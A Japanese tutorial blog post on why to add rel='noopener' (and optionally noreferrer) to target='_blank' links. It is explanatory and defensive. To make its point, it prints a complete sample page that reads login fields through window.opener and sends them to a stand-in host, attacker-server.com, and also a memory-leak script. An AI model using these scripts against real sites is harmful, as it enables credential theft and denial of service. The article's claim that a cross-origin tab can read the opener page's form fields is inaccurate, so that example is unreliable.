「rel=noopenerをつけないと、セキュリティ的なリスクがある」、という話は聞いたことがある方もいらっしゃるでしょう。この記事では、以下のようなお悩みを解決します。
- aタグについている、rel=”noopener”が何をしているか。
- rel=”noreferrer”との関連について。併用すべきかしなくても問題ないか。
- rel=”noopener”を設定しない場合、起こり得る問題について。
rel=noopenerとは
aタグのrel属性のnoopenerとは、aタグで別タブを指定する(target=_blank)を渡す際、別タブからもとのページの情報を取得・改変ができないようにする値となります。となります。
MDNによると、以下のように記載されています。(定義の確認です。ここは分かりづらいのでスキップしてOKです)
noopener
キーワードを<a>
,<area>
,<form>
の各要素のrel
属性に指定すると、ターゲットリソースへ移動する際、開いた元の文書へのアクセスを新しい閲覧コンテキストに許可しないことをブラウザーに指示します。開かれたウィンドウのWindow.opener
プロパティプロパティは設定されません(null
を返します)。これは、信頼されていないリンクを開くときに特に有効で、
Window.opener
プロパティを介して発信元の文書を改ざんできないようにするためです (詳細は rel=noopener についてを参照してください)。ただし、 HTTP のReferer
ヘッダーは(noreferrer
を同時に使用しない限り)提供されます。なお、
noopener
を使用した場合、ターゲット名に_top
,_self
,_parent
以外の空でない名前を使用すると、新しいウィンドウやタブを開くかどうかの判断において、すべて_blank
と同様に扱われます。
rel=”noopener”の指定方法は?
基本的なnoopener指定は、以下のようになります。
<a href=“https://example.com” target=“_blank” rel=“noopener”></a>
rel=”noopener”はなぜ指定するのか。指定しないとどんな問題が起こるのか。
本題です。なぜrel=”noopener”を指定するのでしょうか。
rel=nopenerを指定する理由は、主に
- セキュリティに対する攻撃対策のため
- パフォーマンスに対する攻撃対策のため
です。
具体的に解説します。
セキュリティに対する攻撃対策
フィッシング攻撃に利用されます。
フィッシング攻撃とは
フィッシング攻撃とは、攻撃者が機密情報を盗むセキュリティに対する攻撃を指します。
フィッシングは、詐欺的な電子メール、テキスト・メッセージ、電話、またはWebサイトを使用して人々を騙し、機密データを共有させたり、マルウェアをダウンロードさせたり、その他の方法でサイバー犯罪の危険にさらしたりするサイバー攻撃の一種です。 | フィッシングとは IBM
フィッシング攻撃の方法
別タブを開いた際に、元ページの情報を操作できてしまうため、別タブで開いたサイトからIDやパスワードを取得して、データを漏洩させることができます。
フィッシング攻撃の攻撃コードの例
フィッシング攻撃サイトの事例を例に見ていきましょう。
例えば、信頼されたサイト(例えば銀行のログインページなど)があることを想定します。何らかの方法でログインページが書き換えられ、rel=”noopener”が指定されていない(=外部から情報を取得できる)リンクが設置されることを想定します。
ハッキングされた信頼できるサイト
- target=”_blank” で指定されたリンクが存在します。
- ハッキングされ、追加されたコードが存在します。
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>信頼できるサイト</title>
</head>
<body>
<h1>信頼できる銀行のサイト</h1>
<form id="login-form">
<label for="username">ユーザー名:</label>
<input type="text" id="username" name="username">
<label for="password">パスワード:</label>
<input type="password" id="password" name="password">
<button type="submit">ログイン</button>
</form>
<!-- ハッキングされ、追加されたコード -->
<a href="https://malicious-site.com" target="_blank">外部サイトを開く</a>
</body>
</html>
悪意のあるサイトのコード
- https://malicious-site.com にアクセスすると、以下のHTMLが開きます。
- HTMLに埋め込まれているJavaScriptで、nooopenerが指定されていない信頼できるサイトから、ユーザー名とパスワードを取得します
- その情報を、ハッカーのサイトに送信します
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>悪意のあるサイト</title>
<script>
function stealInformation() {
if (window.opener && !window.opener.closed) {
// 元のページの要素にアクセスして情報を取得
const username = window.opener.document.getElementById('username').value;
const password = window.opener.document.getElementById('password').value;
// 盗んだ情報を攻撃者のサーバーに送信
fetch('https://attacker-server.com/steal', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
username: username,
password: password
})
})
.then(response => response.text())
.then(data => {
console.log('情報が送信されました:', data);
})
.catch(error => {
console.error('エラーが発生しました:', error);
});
}
}
// ページが読み込まれたときに情報を盗む関数を実行
window.onload = stealInformation;
</script>
</head>
<body>
<h1>悪意のあるサイト</h1>
<p>このサイトはユーザーの情報を盗むためのものです。</p>
</body>
</html>
パフォーマンスに対する攻撃
パフォーマンスに対する攻撃は、ターゲットサイトの性能を低下させ、ユーザーエクスペリエンスを悪化させることを目的としています。これらの攻撃は、特に商業サイトやサービス提供サイトにとって重大な影響を及ぼす可能性があります。以下に、具体的な攻撃例とその目的を説明します。
- リソースの大量消費攻撃
リソース枯渇攻撃
リソース枯渇攻撃では、以下のような方法を利用して、サーバーへの負荷を増やします。
- スクリプトの無限ループ
- 大量のリクエスト送信
- メモリリーク攻撃
リソース枯渇攻撃(リソースこかつこうげき、英語: Resource exhaustion attack)はコンピュータセキュリティにおける対象のプログラムをクラッシュ、ハングさせ、その他妨害をするエクスプロイトのひとつ。DoS攻撃の一種だが、DDos攻撃とは異なり多くの箇所からリクエストを送るためにウェブサーバーなどの大量のネットワークホストを巻き込むようなことはない[1]。
リソース枯渇攻撃 Wikipedia
メモリリーク攻撃の例
// 攻撃者が新しいタブで開いたページに実装するスクリプト
function causeMemoryLeak() {
let memoryLeakArray = [];
setInterval(() => {
// 無限にオブジェクトを配列に追加してメモリリークを引き起こす
memoryLeakArray.push(new Array(1000000).join('a'));
}, 1000);
}
// ページが読み込まれたときにメモリリークを引き起こす関数を実行
window.onload = causeMemoryLeak;
パフォーマンス枯渇攻撃を行う目的
パフォーマス枯渇攻撃を行う主な理由は以下のとおりです。
- 競争相手の妨害: 商業サイトやオンラインサービスを運営する企業にとって、サイトのパフォーマンス低下は顧客満足度の低下や収益減少に直結します。攻撃者は、競争相手のサイトを意図的にパフォーマンス低下させることで、ビジネス上の優位性を得ようとすることがあります。
- 信頼性の損失: パフォーマンス低下やクラッシュは、ユーザーにサイトが信頼できないという印象を与えます。これにより、ユーザーが競合他社に流れる可能性が高まります。
- ランサム攻撃: 攻撃者は、サイトのパフォーマンスを低下させた後に、攻撃を停止する代わりに金銭を要求することがあります。これはいわゆるランサム攻撃の一種です。
- データの収集 : フォーマンス低下を引き起こすスクリプトと共に、情報収集スクリプトを実行することで、ユーザーのデータを盗み取ることができます。
noreferrerとの違いは?
rel="noopener"
と一緒に付与される、noreferer
との違いは、noreferer
は遷移先のサイトにリファラ(どのページからアクセスしたか)を渡さないオプションとなります。
noreferer
を指定しない場合のリスクとしては、遷移元のページのURLに個人情報などが入っている場合は、遷移先に情報が渡ってしまう点です。
例えば、元サイトのURLが以下のようになっていると、遷移先のページからリファラ情報が見えてしまいます。
https://example.com/?username=yamada&password=4649 # usernameがyamada, passwordが4649
target=”_blank”との違いは?
aタグのtarget="_blank"
は、ただ別タブで開くという機能を持った属性になります。
一方で、rel="noopener"
は、別タブを開いた時に、別タブから元のサイトの情報へアクセスできないようにする設定になります。
よって機能が大きく異なります。
noopenerはつけるべきか?
セキュリティ対策上、外部リンクへ遷移させる場合、noopenerをつけておくことを推奨します。例のようなフィッシング攻撃を避けるためです。
noreferrerはつけるべきか
rel属性に対して、noopenerとnoreferrerを併用して記載するケースがあるかと思います。
結論からいうと、noreferrerは、リンク先にリファラを渡さないような設定になります。
どうしてもリファラを外部サイトに渡したくない場合は、設置しておくべきですが、基本的にURLに渡さないといけないセキュアな情報が入るような場合はそこまでないので、個人的にはnoreferrerはつけてもつけなくてもどちらでもいいと思います。
詳しくは以下の記事を参照してください。